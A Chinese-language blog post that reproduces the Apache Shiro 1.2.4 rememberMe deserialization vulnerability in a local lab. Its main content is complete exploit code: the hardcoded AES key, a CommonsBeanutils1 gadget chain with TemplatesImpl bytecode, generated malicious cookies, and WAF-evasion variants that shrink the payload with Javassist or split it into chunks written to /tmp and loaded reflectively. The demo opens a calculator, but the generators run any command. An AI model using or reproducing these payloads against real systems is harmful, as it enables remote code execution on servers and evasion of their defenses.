小吐槽
哈哈,开始之前笔者先来骂下自己,笔者在以前投递过春招和秋招的简历,但是当时投了都石沉大海,那时候就很纳闷为什么参加了若干攻防演练和 CTF 竞赛还有做的一些网安小项目还找不到工作,直到现在我才知道,我都是赶在秋招和春招结束后才投的,也就是说,我总体投递的一个时间线如下
1 2 3 4 5 6
| 2024 年 2 月 ~ 4 月春招 笔者 2024 年 5 月下旬投递简历 2024 年 9 月 ~ 10 月秋招 笔者 2024 年 11 月下旬投递简历 2025 年 2 月 ~ 4 月春招开始 笔者 2025 年 6 月下旬投递简历
|
闹麻了都,再加上以前做钓鱼的时候忘记改 BOSS 直聘和一些软件的在线简历,导致我以前的在线简历成下面这个样子

难怪 HR 和一些技术看了直接 pass 我🥵,实在是太难绷了啊

言归正传,我们来思考一下 Shiro Cookie 长度太长的话要怎么 bypass 一些在线 WAF 长度检测,首先准备以下环境
环境
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <dependencies> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
<dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-simple</artifactId> <version>1.7.30</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> </dependencies>
|
LoginServlet.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package com.study.servlet;
import org.apache.shiro.SecurityUtils; import org.apache.shiro.authc.UsernamePasswordToken; import org.apache.shiro.subject.Subject; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException;
@WebServlet("/login") public class LoginServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String user = req.getParameter("username"); String pass = req.getParameter("password"); String rememberMe = req.getParameter("rememberMe"); UsernamePasswordToken token = new UsernamePasswordToken(user, pass); if (rememberMe != null && rememberMe.equals("on")) { token.setRememberMe(true); } Subject subject = SecurityUtils.getSubject(); try { subject.login(token); resp.getWriter().println("Login Success! Welcome, " + user); } catch (Exception e) { resp.getWriter().println("Login Failed: " + e.getMessage()); } } }
|
shiro.ini
1 2 3 4 5 6
| [main]
[users] admin = 123456 [urls] /** = anon
|
常规手工攻击姿势
一般 Shiro 打法很简单,我这里选的版本为 shiro-core 1.2.4,高版本的后续再说,其打法总结就是 Apache Shiro 的记住我 rememberMe 功能在处理 Cookie 时,会对这个字段进行 base64 解码,然后 AES 解密,再然后反序列化,也就是说我们只要获得到了 AES 加密的密钥,那么就可以构造任意的反序列化对象,然后进行加密发送,在 1.2.4 版本,Shiro 的 key 都是硬编码的,这个大家都知道,你可以在 org.apache.shiro.mgt.AbstractRememberMeManager#DEFAULT_CIPHER_KEY_BYTES 找到其 key 为 kPH+bIxk5D2deZiIxcaaaA==

然后默认情况下 Shiro 本身是依赖了 Commons-Beanutils 这个库,不过再打的时候可能会遇到一些版本与本地环境不一致,导致反序列化的时候出现 serialVersionUID 不匹配的问题

并且 Shiro 自带的 CB 库不包含完整的 Commons-Collections,所以我们在打的时候部分依赖 CC 的链子会失效,那么解决方法就是确保本地的 CB 和 CC 库版本与 Shiro 环境中的版本是对应上的,例如我这里用的是 Commons-Beanutils 1.8.3 和 Commons-Collections 3.1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <dependencies> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-simple</artifactId> <version>1.7.30</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> </dependencies>
|
然后接下来就是手动攻击了,我们得先编写一个恶意类,比如 calculator.java,继承 AbstractTranslet,然后写一个构造函数执行
1 2 3 4 5 6 7 8 9 10 11 12 13
| package exp; import java.io.IOException; public class calculator extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet { public calculator() { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (Exception e) {} } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM d, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] s) {} @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM d, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator di, com.sun.org.apache.xml.internal.serializer.SerializationHandler s) {} }
|
接着编写 exp 来进行利用,比如我这里通过 CommonsBeanutils1 来进行利用,具体 sink 就是 BeanComparator.compare() $\rightarrow$ PropertyUtils.getProperty() $\rightarrow$ TemplatesImpl.getOutputProperties() $\rightarrow$ TemplatesImpl.newTransformer() $\rightarrow$ TemplatesImpl.getTransletInstance() $\rightarrow$ Runtime.exec()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| package exp; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.codec.Base64; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class exp { public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static Object getPayload() throws Exception { byte[] code = Files.readAllBytes(Paths.get("/Users/icecliffs/Documents/Coding/java_shiro/target/classes/exp/Calculator.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates, "_name", "Pwned"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null); PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator); queue.add(1); queue.add(1); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates}); return queue; } public static void main(String[] args) throws Exception { Object payloadObject = getPayload(); java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos); oos.writeObject(payloadObject); oos.close(); byte[] payloadBytes = baos.toByteArray(); String key = "kPH+bIxk5D2deZiIxcaaaA=="; byte[] keyBytes = Base64.decode(key); AesCipherService aes = new AesCipherService(); ByteSource ciphertext = aes.encrypt(payloadBytes, keyBytes); System.out.println(ciphertext.toString()); } }
|
然后接下来运行脚本,我们会得到

可以看见是非常的长啊(lens:2540)
1
| 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
|
接着将构造好的恶意对象经加密后放入 rememberMe Cookie 中,当服务器解密并进行 反序列化 时,PriorityQueue(入口点)在排序时触发了 BeanComparator(中继点),进而通过反射调用了 TemplatesImpl 的 getOutputProperties() 方法,最终导致预埋在 _bytecodes 字段中的恶意类被实例化,从而在服务器上执行任意命令,至此最简单的 Shiro 漏洞复现到此结束

那么接下来就是要解决 Cookie 过长的问题了,比如可以通过 javassist 或 分块传输来缩短 Cookie 长度
使用 Javassist 缩短长度
由于我们最终目的是为了缩短长度,所以可以用 javassist 来将写死的恶意类通过动态构造实现缩短长度,比如上面写的 calculator.java 这个是完全写死的,无法恶意构造,所以需要动态构造一个字节码
首先引入 javassist 依赖
1 2 3 4 5
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.28.0-GA</version> </dependency>
|
然后编写一个 javassist_poc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package exp; import javassist.ClassPool; import javassist.CtClass; public class javassist_poc { public static byte[] generateDynamicClass(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("ice.A" + System.nanoTime()); CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); clazz.setSuperclass(superClazz); String src = "java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");"; clazz.makeClassInitializer().insertBefore(src); byte[] bytecodes = clazz.toBytecode(); clazz.detach(); return bytecodes; } }
|
然后修改上面的 exp.java,动态生成字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package exp; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.codec.Base64; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class javassist_exp { public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static Object getPayload() throws Exception { byte[] code = javassist_poc.generateDynamicClass("open -a Calculator"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates, "_name", "t"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null); PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator); queue.add(1); queue.add(1); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates}); return queue; } public static void main(String[] args) throws Exception { Object payloadObject = getPayload(); java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos); oos.writeObject(payloadObject); oos.close(); byte[] payloadBytes = baos.toByteArray(); String key = "kPH+bIxk5D2deZiIxcaaaA=="; byte[] keyBytes = Base64.decode(key); AesCipherService aes = new AesCipherService(); ByteSource ciphertext = aes.encrypt(payloadBytes, keyBytes); System.out.println(ciphertext.toString()); } }
|
接着运行生成,会发现已经小了很多了

1
| 9JRpOrsN6BC+7fiyilY7o4otMaNdpLUeJ9EnZ1VU3MYEErySYueuaIoxmO/JHEjUbepNiH9DZwDuPGr42JUCOUC8MBzF4tX8cnPgatQCCXOMjiQ6ONpWlkVywktrhnoVx5TsE40dA+QjxMBNvdbqPHnU1S1q0EPfVL5xgBZmiHvYV/TWc6LdjZdBT7x/Q22YGJ0J0iq6d5QlthCFzvSMwadM8LEaSgAZX03hxDAq8RlHzKbQJw6zb+Ygxheu95tHZkj4gGuGhmqiDhRzuZI/F+IN57aSpiXZc5QyBHD0e1bxD24gw6COfQlaFuz4uZLyMdg8Ci8UAVdEzXL+c9KBApeuepqjnR9Uhi1LptUL4pWEtMoRfQQP4molo+ET7JtfY9NQV7loZP+dG7CFVC/AkGiIfbhqPFH7K0OpuJKX9a/eRfenV16Q8VeLQgbJKDI6pyCSYCtUCdGuhHod2mUEgCyGAXOQOkj/nqZ1WqVIwh9wHndTEEHFihIz220kYzNE/+X+qGldOELSVDx6Jmm89ThTT3PqRzmPIMPbnVTZ+0EQKBlUaWwFfbo81zNXYS4uhnD0lUKYew6arFokkCUH1uNe4RGgwYCBm7pXh3q281AZJ/DEEggzu+khpXc/sDNjeIwLdRzheeIrHsYJ+BgTahycfViHFAa8OLchOABvLArrp+OxCdcwMLQdT9itfFdCPpsgURcMmaXoc0mfAfqfvuKyM1GWAXlQUXtnJjKgEp4IrpvulQRHouYocYu5mzrpYyM8+mC65Q3v0MWOW4xIzGWr0nICiuju77y2lAUJOuZt337UvQVQhr3PozDPlJCqlRWsjWFXv8GdriRhC5Vms0LVdpRbiQjXIGCAqat9bRYvtNOeLxnUwLO4DhjXs2NsH2YCw3pPduX3egvfiJmQktBxJvUHC+cd48yVy9Uiv9MCjTl88fbMEPNJN6vx7k2vulBlKn0Di48K0FfDZlZgUm6JO4fS12QCdvMJp1nVLSBbuYr4Fm8SkuSPexr0NnY+XOfCAKM16CilaMga4PtVRDO6LfwBzM0DxXRkVUTiBVS/F+O+znSqgkw9B6en/C4+yJHbxGNP3qO56iLbIp/YiCkZiQ+hclXZRgk1hVX3RCkLHiqd/JNI+RtrOwnBdn1KFUQ03Q2MMzHVuTxi9If2vLWVHhJfm+MPEjExIb9UTm1U9v8x2/6KmbwHxqLv1GjotXjQvTYOGywlzd22z5GtihzG9YcC2/MECzzrSQGzAkeZT/mCM6UfRlVe647PRCG0QSGgVBxGt0M4gB6qiyTXG1+TdHFXM45FCgXxFjq9SXh3I4cy5kQNs8Ngl+XPp9785k5QE+Lt7QnMsjDDG9y/sYqEVAmfSgrSw9Gno7TFfdnQa84RoRSNxNSGdvb63zeJmvyLdvVKbAOozPYDS7LHQg==
|
打打看,发现没毛病

那还有更短的方案吗?还真有,但是利用条件非常苛刻,没有研究的必要,总结一下代码和利用思路吧,其实本质上就是省去了恶意类的读取,直接用 javassist 来进行动态生成,生成的类不含 LineNumberTable 等调试信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package exp; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.codec.Base64; import org.apache.shiro.crypto.AesCipherService; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class javassist_mini_exp { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static byte[] getUltraShortBytecode(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("A"); cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");"); byte[] bytes = cc.toBytecode(); cc.detach(); return bytes; } public static void main(String[] args) throws Exception { byte[] code = getUltraShortBytecode("open -a Calculator"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates, "_name", "a"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); BeanComparator comparator = new BeanComparator(null); PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator); queue.add(1); queue.add(1); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates}); ByteArrayOutputStream baos = new ByteArrayOutputStream(); new ObjectOutputStream(baos).writeObject(queue); String key = "kPH+bIxk5D2deZiIxcaaaA=="; AesCipherService aes = new AesCipherService(); byte[] encrypted = aes.encrypt(baos.toByteArray(), Base64.decode(key)).getBytes(); System.out.println(Base64.encodeToString(encrypted)); } }
|
如果你想探测不出网的话,可以把 getUltraShortBytecode 里的命令改成时间延迟(Time-based Sleep)
1
| byte[] code = getUltraShortBytecode("Thread.sleep(5000);");
|
使用分块传输缩短长度
或者我们可以通过 Block Transmission 分块传输来缩短长度,这个在实战中可能非常有效,因为它能绕过 Web 容器对单个 HTTP Header 长度(通常为 8KB)的限制,同时规避了一些 WAF 对超长 Payload 的正则检测,核心逻辑就是利用 java.io.FileOutputStream 的 append 模式,将多段 Base64 或原始字节分批写入服务器临时目录/tmp ,最后再写一个 Payload 去读取并执行这个文件
其实这个思路在早年做 CS 脱裤的时候也是分块传输的逻辑,都差不多
初始化/追加阶段:发送 $N$ 个请求,每个请求带有一小段 Base64 字符串,追加写入服务器文件
执行阶段:发送最后一个请求,读取该文件,Base64 解码后动态加载执行
编写一个 chunk_exp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package exp; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.codec.Base64; import org.apache.shiro.crypto.AesCipherService; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class chunk_exp { public static byte[] getAppendPayload(String path, String b64Content) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Append" + System.nanoTime()); cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String cmd = "try {" + " String p = \"" + path + "\";" + " String c = \"" + b64Content + "\";" + " java.io.FileOutputStream fos = new java.io.FileOutputStream(p, true);" + " fos.write(c.getBytes());" + " fos.close();" + "} catch (Exception e) {}";
cc.makeClassInitializer().insertBefore(cmd); return cc.toBytecode(); } public static String makeCookie(byte[] code) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates, "_name", "a"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); BeanComparator comparator = new BeanComparator(null); PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator); queue.add(1); queue.add(1); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates}); ByteArrayOutputStream baos = new ByteArrayOutputStream(); new ObjectOutputStream(baos).writeObject(queue); String key = "kPH+bIxk5D2deZiIxcaaaA=="; return Base64.encodeToString(new AesCipherService().encrypt(baos.toByteArray(), Base64.decode(key)).getBytes()); } private static void setFieldValue(Object obj, String field, Object val) throws Exception { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, val); } public static void main(String[] args) throws Exception { String targetPath = "/tmp/payload.txt"; String part1 = "hellofuck"; byte[] code = getAppendPayload(targetPath, part1); System.out.println("1: " + makeCookie(code)); } }
|
运行后保存发送到服务器

会发现成功写进去

接着就是分块传输这个 payload,步骤太长这里跳过了,然后修改加载这个 payload
1 2 3 4 5 6 7 8 9 10 11 12
| String loaderCmd = "try {" + " java.io.File f = new java.io.File(\"" + path + "\");" + " byte[] b = new byte[(int)f.length()];" + " java.io.FileInputStream fis = new java.io.FileInputStream(f);" + " fis.read(b);" + " fis.close();" + " byte[] decoded = org.apache.shiro.codec.Base64.decode(new String(b));" + " java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});" + " m.setAccessible(true);" + " Object[] args = new Object[]{decoded, new Integer(0), new Integer(decoded.length)};" + " m.invoke(Thread.currentThread().getContextClassLoader(), args);" + "} catch (Exception e) { }";
|
最后完整的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import org.apache.shiro.codec.Base64; import org.apache.shiro.crypto.AesCipherService;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class chunk_exp { public static byte[] getAppendPayload(String path, String b64Content) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("App" + System.nanoTime()); cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String cmd = "try {" + " java.io.FileWriter fw = new java.io.FileWriter(\"" + path + "\", true);" + " fw.write(\"" + b64Content + "\");" + " fw.close();" + "} catch (Exception e) {}"; cc.makeClassInitializer().insertBefore(cmd); return cc.toBytecode(); } public static byte[] getLoaderPayload(String path) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Lod" + System.nanoTime()); cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String loaderCmd = "try {" + " java.io.File f = new java.io.File(\"" + path + "\");" + " byte[] b = new byte[(int)f.length()];" + " java.io.FileInputStream fis = new java.io.FileInputStream(f);" + " fis.read(b);" + " fis.close();" + " byte[] decoded = org.apache.shiro.codec.Base64.decode(new String(b));" + " java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});" + " m.setAccessible(true);" + " Object[] args = new Object[]{decoded, new Integer(0), new Integer(decoded.length)};" + " m.invoke(Thread.currentThread().getContextClassLoader(), args);" + "} catch (Exception e) { }"; cc.makeClassInitializer().insertBefore(loaderCmd); return cc.toBytecode(); } public static String makeCookie(byte[] code) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates, "_name", "a"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); BeanComparator comparator = new BeanComparator(null); PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator); queue.add(1); queue.add(1); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates}); ByteArrayOutputStream baos = new ByteArrayOutputStream(); new ObjectOutputStream(baos).writeObject(queue); String key = "kPH+bIxk5D2deZiIxcaaaA=="; return Base64.encodeToString(new AesCipherService().encrypt(baos.toByteArray(), Base64.decode(key)).getBytes()); } private static void setFieldValue(Object obj, String field, Object val) throws Exception { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, val); } public static void main(String[] args) throws Exception { String targetPath = "/tmp/payload.txt"; String classPath = "/Users/icecliffs/Documents/Coding/java_shiro/target/classes/exp/calculator.class"; int chunkSize = 500; byte[] classBytes = Files.readAllBytes(Paths.get(classPath)); String fullBase64 = Base64.encodeToString(classBytes); System.out.println("总 Base64 长度: " + fullBase64.length()); int count = 0; for (int i = 0; i < fullBase64.length(); i += chunkSize) { int end = Math.min(i + chunkSize, fullBase64.length()); String part = fullBase64.substring(i, end); byte[] appendCode = getAppendPayload(targetPath, part); System.out.println("第 " + (++count) + " 段 Cookie: " + makeCookie(appendCode)); System.out.println("--------------------------------------------------"); } byte[] loaderCode = getLoaderPayload(targetPath); System.out.println(makeCookie(loaderCode)); } }
|
跟着执行一遍就可以了
